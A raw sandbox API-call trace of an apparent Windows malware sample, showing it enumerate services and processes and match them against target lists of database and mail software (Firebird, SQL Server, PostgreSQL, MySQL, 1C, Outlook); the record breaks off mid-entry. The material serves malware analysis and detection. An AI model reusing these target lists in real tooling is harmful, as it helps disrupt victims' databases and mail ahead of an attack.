lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.326] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0200.326] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0200.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0200.326] lstrlenW (lpString="LanmanServer") returned 12 [0200.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0200.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0200.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0200.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0200.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0200.327] lstrlenW (lpString="LanmanWorkstation") returned 17 [0200.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0200.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0200.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0200.327] lstrlenW (lpString="lmhosts") returned 7 [0200.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.327] lstrlenW (lpString="MMCSS") returned 5 [0200.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0200.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0200.327] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0200.327] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0200.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0200.327] lstrlenW (lpString="MpsSvc") returned 6 [0200.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0200.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0200.327] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0200.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0200.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0200.328] lstrlenW (lpString="Netman") returned 6 [0200.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0200.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0200.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0200.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0200.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0200.328] lstrlenW (lpString="netprofm") returned 8 [0200.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0200.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0200.328] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0200.328] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0200.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0200.328] lstrlenW (lpString="NlaSvc") returned 6 [0200.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0200.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0200.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0200.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0200.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0200.328] lstrlenW (lpString="nsi") returned 3 [0200.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.328] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.328] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.329] lstrlenW (lpString="PcaSvc") returned 6 [0200.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0200.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0200.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0200.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0200.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0200.329] lstrlenW (lpString="PlugPlay") returned 8 [0200.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.329] lstrlenW (lpString="Power") returned 5 [0200.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.329] lstrlenW (lpString="ProfSvc") returned 7 [0200.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.329] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.329] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.330] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.330] lstrlenW (lpString="RpcSs") returned 5 [0200.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.395] lstrlenW (lpString="SamSs") returned 5 [0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.396] lstrlenW (lpString="Schedule") returned 8 [0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.396] lstrlenW (lpString="SENS") returned 4 [0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.397] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0200.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.397] lstrlenW (lpString="Spooler") returned 7 [0200.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.397] lstrlenW (lpString="sppsvc") returned 6 [0200.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0200.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0200.397] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0200.397] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0200.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0200.397] lstrlenW (lpString="SysMain") returned 7 [0200.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0200.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0200.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0200.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0200.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0200.398] lstrlenW (lpString="Themes") returned 6 [0200.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0200.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0200.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0200.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0200.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0200.398] lstrlenW (lpString="TrkWks") returned 6 [0200.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0200.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0200.398] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0200.398] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0200.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0200.398] lstrlenW (lpString="UxSms") returned 5 [0200.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0200.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0200.398] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0200.399] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0200.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0200.399] lstrlenW (lpString="WdiServiceHost") returned 14 [0200.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0200.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0200.399] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0200.399] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0200.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0200.399] lstrlenW (lpString="WdiSystemHost") returned 13 [0200.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0200.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0200.399] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0200.399] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0200.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0200.399] lstrlenW (lpString="WinDefend") returned 9 [0200.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0200.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0200.400] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0200.400] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0200.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0200.400] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0200.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0200.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0200.400] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0200.400] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0200.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0200.400] lstrlenW (lpString="Winmgmt") returned 7 [0200.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0200.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0200.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0200.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0200.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0200.400] lstrlenW (lpString="wscsvc") returned 6 [0200.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0200.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0200.400] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0200.401] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0200.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0200.401] lstrlenW (lpString="wuauserv") returned 8 [0200.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0200.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0200.401] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0200.401] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0200.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0200.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3946708 | out: hHeap=0x4f0000) returned 1 [0200.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0200.404] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.406] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.407] lstrlenW (lpString="System") returned 6 [0200.407] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0200.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0200.407] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.408] lstrlenW (lpString="smss.exe") returned 8 [0200.408] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0200.409] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0200.409] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.410] lstrlenW (lpString="csrss.exe") returned 9 [0200.410] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.410] lstrlenW (lpString="wininit.exe") returned 11 [0200.410] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.411] lstrlenW (lpString="csrss.exe") returned 9 [0200.411] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.412] lstrlenW (lpString="winlogon.exe") returned 12 [0200.412] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.413] lstrlenW (lpString="services.exe") returned 12 [0200.413] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.414] lstrlenW (lpString="lsass.exe") returned 9 [0200.414] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0200.415] lstrlenW (lpString="lsm.exe") returned 7 [0200.415] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.416] lstrlenW (lpString="svchost.exe") returned 11 [0200.416] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.417] lstrlenW (lpString="svchost.exe") returned 11 [0200.418] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.608] lstrlenW (lpString="svchost.exe") returned 11 [0200.608] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.610] lstrlenW (lpString="svchost.exe") returned 11 [0200.610] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.611] lstrlenW (lpString="svchost.exe") returned 11 [0200.611] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.612] lstrlenW (lpString="audiodg.exe") returned 11 [0200.612] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.613] lstrlenW (lpString="svchost.exe") returned 11 [0200.613] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.613] lstrlenW (lpString="svchost.exe") returned 11 [0200.613] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.614] lstrlenW (lpString="dwm.exe") returned 7 [0200.614] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.615] lstrlenW (lpString="explorer.exe") returned 12 [0200.615] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.616] lstrlenW (lpString="spoolsv.exe") returned 11 [0200.616] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0200.618] lstrlenW (lpString="taskhost.exe") returned 12 [0200.618] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.619] lstrlenW (lpString="svchost.exe") returned 11 [0200.619] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0200.620] lstrlenW (lpString="taskeng.exe") returned 11 [0200.620] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0200.621] lstrlenW (lpString="taskhost.exe") returned 12 [0200.621] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0200.622] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0200.622] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 